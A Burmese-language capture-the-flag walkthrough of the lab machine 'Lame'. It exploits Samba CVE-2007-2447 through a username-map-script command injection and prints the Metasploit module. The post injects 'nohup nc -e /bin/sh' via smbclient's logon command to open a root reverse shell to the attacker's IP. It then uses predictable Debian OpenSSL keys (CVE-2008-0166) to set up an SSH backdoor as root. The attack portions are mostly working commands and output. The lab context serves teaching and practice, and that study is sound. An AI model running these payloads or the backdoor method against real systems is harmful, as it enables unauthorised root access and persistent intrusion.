မြင်တွေ့တဲ့အတိုင်း အပေါက်တွေတော်တော်များ ပွင့်နေပါတယ်။ စာရေးသူတို့ Samba ကိုအသုံးပြု foothold ရအောင် စတင်လိုက်ရအောင်။ Searchsploit ကိုပဲသုံးပြီးဖြစ်ဖြစ်၊ Google မှာရှာရှာ target မှာ run ထားတဲ့ Samba version 3.0.20 ဟာ CVE-2007-2447 vulnerability ရှိနေပါတယ်။ Searchsploit မှာရှာတဲ့ပုံစံကို အောက်မှာပြထားပါတယ်။ CVE က 2007 လို့ပြောတဲ့အတွက် samba 2007 ဆိုပြီးတော့ရှာလိုက်တာပဲဖြစ်ပါတယ်။

```bash
searchsploit samba 2007
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GoSamba 1.0.1 - 'INCLUDE_PATH' Multiple Remote File Inclusions                                                                                            | php/webapps/4575.txt
Samba 3.0.10 (OSX) - 'lsa_io_trans_names' Heap Overflow (Metasploit)                                                                                      | osx/remote/16875.rb
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                                                          | unix/remote/16320.rb
Samba 3.0.21 < 3.0.24 - LSA trans names Heap Overflow (Metasploit)                                                                                        | linux/remote/9950.rb
Samba 3.0.24 (Linux) - 'lsa_io_trans_names' Heap Overflow (Metasploit)                                                                                    | linux/remote/16859.rb
Samba 3.0.24 (Solaris) - 'lsa_io_trans_names' Heap Overflow (Metasploit)                                                                                  | solaris/remote/16329.rb
Samba 3.0.27a - 'send_mailslot()' Remote Buffer Overflow                                                                                                  | linux/dos/4732.c
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
```

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) ဆိုတဲ့တခုကို ပိုပြီးတော့နားလည်အောင်လို့ သူနဲ့ပတ်သတ်တဲ့ Ruby script ကိုတချက်လောက်လေ့လာကြည့်ရအောင်။

```bash
searchsploit -x 16320
##
# $Id: usermap_script.rb 10040 2010-08-18 17:24:46Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = ExcellentRanking

        include Msf::Exploit::Remote::SMB

        # For our customized version of session_setup_ntlmv1
        CONST = Rex::Proto::SMB::Constants
        CRYPT = Rex::Proto::SMB::Crypt

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Samba "username map script" Command Execution',
                        'Description'    => %q{
                                        This module exploits a command execution vulerability in Samba
                                versions 3.0.20 through 3.0.25rc3 when using the non-default
                                "username map script" configuration option. By specifying a username
                                containing shell meta characters, attackers can execute arbitrary
                                commands.

                                No authentication is needed to exploit this vulnerability since
                                this option is used to map usernames prior to authentication!
                        },
                        'Author'         => [ 'jduck' ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 10040 $',
                        'References'     =>
                                [
                                        [ 'CVE', '2007-2447' ],
                                        [ 'OSVDB', '34700' ],
# More Ruby Code HERE.....
		def exploit # <===== EXPLOIT

                connect

                # lol?
                username = "/=`nohup " + payload.encoded + "`"
                begin
                        simple.client.negotiate(false)
                        simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
                rescue ::Timeout::Error, XCEPT::LoginError
                        # nothing, it either worked or it didn't ;)
                end

                handler
        end

end
```

def exploit ဆိုတဲ့ function ကိုကြည့်လိုက်ရင် username မှာ payload ကိုဘယ်လိုမျိုး pass လုပ်ပြီးတော့ exploit လုပ်လို့ရသလဲဆိုတာကိုပြထားပါတယ်။ ဒါဆိုရင်တော့ foothold ရဖို့အတွက် နောက်အဆင့် ပါးပါးလှီးဖို့ပဲကျန်ပါတော့တယ်။

### ပါးပါးလှီးခြင်း အနုပညာ (Exploit)

smbmap ဆိုတဲ့ tool ကိုအသုံးပြုပြီးတော့ target ရဲ့ Samba server ကိုတချက်လောက် အနံ့ခံကြည့်လိုက်ရအောင်ဗျ။

```bash
smbmap -H 10.10.10.3

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                
                                                                                                    
[+] IP: 10.10.10.3:445  Name: 10.10.10.3                Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        tmp                                                     READ, WRITE     oh noes!
        opt                                                     NO ACCESS
        IPC$                                                    NO ACCESS       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$                                                  NO ACCESS       IPC Service (lame server (Samba 3.0.20-Debian))
```

tmp ဆိုတဲ့ Samba share မှာ permission ကိုမှားပြီးတော့ Read and Write ပေးထားတာကို အပေါ်မှာပြထားတဲ့အတိုင်းတွေ့ရမှာပါ။ ဒီတခါတော့ အမှန်တကယ်စတင်ပြီး ပါးပါးလှီးကြည့်လိုက်ရအောင်။

* စာရေးသူသုံးတဲ့ local machine မှာ netcat ကိုအသုံးပြီးတော့ reverse shell အတွက်ကြိုတင်ပြင်ဆင်ရပါ့မယ်။ အသုံးပြုရမယ့် command ကတော့ `nc -nvlp 443`. Netcat ကို port 443 ကနေပြီး inbound traffic ကို listen လုပ်ခိုင်းတဲ့ command ပါ၊။
* နောက်အဆင့်အနေနဲ့ smbclient ကိုအသုံးပြုပြီး target machine ရဲ့ tmp share ကို anonymous အနေနဲ့ login ဝင်ပါတယ်။
* ပြီးရင် `smb: \>` ဆိုတဲ့ prompt မှာ ``logon "/=`nohup nc -e /bin/sh 10.10.16.2 443`"`` payload ကို pass ပေးလိုက်ရုံပါပဲ။ ဒီနေရာမှာ 10.10.16.2 ဆိုတာက စာရေးသူရဲ့ local machine IP address ဖြစ်ပါတယ်။ `Password:` ဆိုတဲ့ prompt မှာ ဘာမှရိုက်ထည့်စရာမလိုပဲ Enter ခေါက်ပေးလိုက်ရုံနဲ့ reverse shell ကို ကိုယ့်ရဲ့ local machine မှာပွင့်လာမှာပဲဖြစ်ပါတယ်။
* Python ကို အသုံးပြီးတော့ shell ကို upgrade လုပ်ချင်ရင်တော့ `python -c 'import pty;pty.spawn("/bin/bash")'` command နဲ့လုပ်လိုက်ရုံပါပဲ။

````

```bash
# exploit samba in the first tmux session on the attacking machine
smbclient --no-pass //10.10.10.3/tmp
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "/=`nohup nc -e /bin/sh 10.10.16.3 443`"
Password: 
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \> 


#################################################################################


# in prior to the samaba exploit, listen to the incoming reverse shell with netcat on the tcp port 443
nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.3] 40320
id
uid=0(root) gid=0(root)
whoami
root

# upgrade shell to bash 
python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/#
````

မြင်ရတဲ့အတိုင်း target မှာ foothold ရသွားပါပြီ။ ထင်သာမြင်သာရှိအောင်လို့ အောက်မှာ screenshot တစ်ခုထည့်ပေးထားပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ab716a25701d63f78d7a1783965a016d3de88afc%2FSamba%20Exploit%20on%20Lame_2023-12-23_16-43.png?alt=media" alt=""><figcaption></figcaption></figure>

### တံခါးသစ်ဖွင့်လစ်ခြင်း အနုပညာ (Backdoor)

နောက်ဆုံးအဆင့်အနေနဲ့ backdoor ကိုဘယ်လိုမျိုးထားခဲ့သလဲဆိုတာကို CVE-2008-0166 နဲ့ လက်တွေ့အသုံးပြချင်ပါတယ်။

Target machine မှာ root အနေနဲ့ foothold ရထားပြီးတဲ့အလျှောက် ကိုယ်ပြန်ပြီးတော့ ဒီ target ကိုပြန်ဝင်ချင်ရင် reverse shell နဲ့ခက်ခဲစွာ ပြန်ဝင်စရာမလိုအောင်လို့ SSH backdoor ထားခဲ့မှာပဲဖြစ်ပါတယ်။ CVE-2008-0166 အရဆိုရင် ၂၀၀၇ ခုနှစ်၊ ၂၀၀၈ ခုနှစ် ဝန်းကျင်တုန်းက Debian based Linux မှာသုံးတဲ့ OpenSSL ရဲ့ cryptography မှာ အားနည်းချက်ရှိပါတယ်။ Public/public keys generation process မှာ ထွက်လာတဲ့ keys တွေဟာ random ပါ။ သို့သော် အဲ့ဒီ CVE မှာပြောတာက public နဲ့ private keys combination ကို ခန့်မှန်းလို့ရနေပါလေရဲ့။ ဆိုလိုရင်းက SSH ရဲ့ public key ကိုရရုံနဲ့ private key ကို predict လုပ်လို့ရနိုင်ပါတယ်။ ခန့်မှန်းလို့ ရသမျှ public/private keys pairs တွေကို GitHub ရဲ့ ဒီလင့် <https://github.com/g0tmi1k/debian-ssh.git> ကနေရယူလို့ရပါတယ်။

Attacker ဘက်က target machine ရဲ့ public key ကိုသိပြီဆိုတာနဲ့ သူနဲ့ match ဖြစ်မယ့် private key ကိုအသုံးပြုပြီးတော့ SSH key authentication လုပ်လိုက်ရုံပါပဲ။ ဒီလိုနဲ့ SSH backdoor ထားခဲ့လို့ရနိုင်ပါတယ်။

```bash
# After gaining a foothold on the target machine as non-privilege user, check if you have a read perm on /root/.ssh/authorized_keys
ls -l /root/.ssh/
total 8
-rw-r--r-- 1 root root 405 2010-05-17 21:44 authorized_keys
-rw-r--r-- 1 root root 442 2012-05-20 14:21 known_hosts

# Now get the pubkey inside authorized_keys file
less /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable

# Download the git repo and extract the predictable rsa
sudo git clone https://github.com/g0tmi1k/debian-ssh.git
cd debian-ssh/common_keys
sudo tar jxf debian_ssh_rsa_2048_x86.tar.bz2
cd rsa

# grep the content of pubkey to match its private key in the rsa directory
grep -lr AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w==
57c3115d77c56390332dc5c49978627a-5429.pub # <--- MATCHING PUBKEY


#################################################################################


# now ssh into the target machine with the matching private key as root
ssh -i 57c3115d77c56390332dc5c49978627a-5429 root@10.10.10.3
The authenticity of host '10.10.10.3 (10.10.10.3)' can't be established.
DSA key fingerprint is SHA256:kgTW5p1Amzh5MfHn9jIpZf2/pCIZq2TNrG9sh+fy95Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.3' (DSA) to the list of known hosts.

Last login: Mon Nov  6 17:01:18 2023 from :0.0
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@lame:~# 
```

ကဲ... ဒီလောက်ဆိုရင်တော့... OffSec ရဲ့ အရသာကို အနည်းငယ် ရိပ်စားမိမယ်လို့ မျှော်လင့်ရပါတယ်။ Attack factor ရဲ့ သဘောသဘာဝ နားလည်ပြီးတော့၊ ဘယ်လိုမျိုးကာကွယ်နိုင်သလဲဆိုတာကို စာရေးသူတို့ တွေးကြည့်မိနိုင်လောက်ပါပြီ။


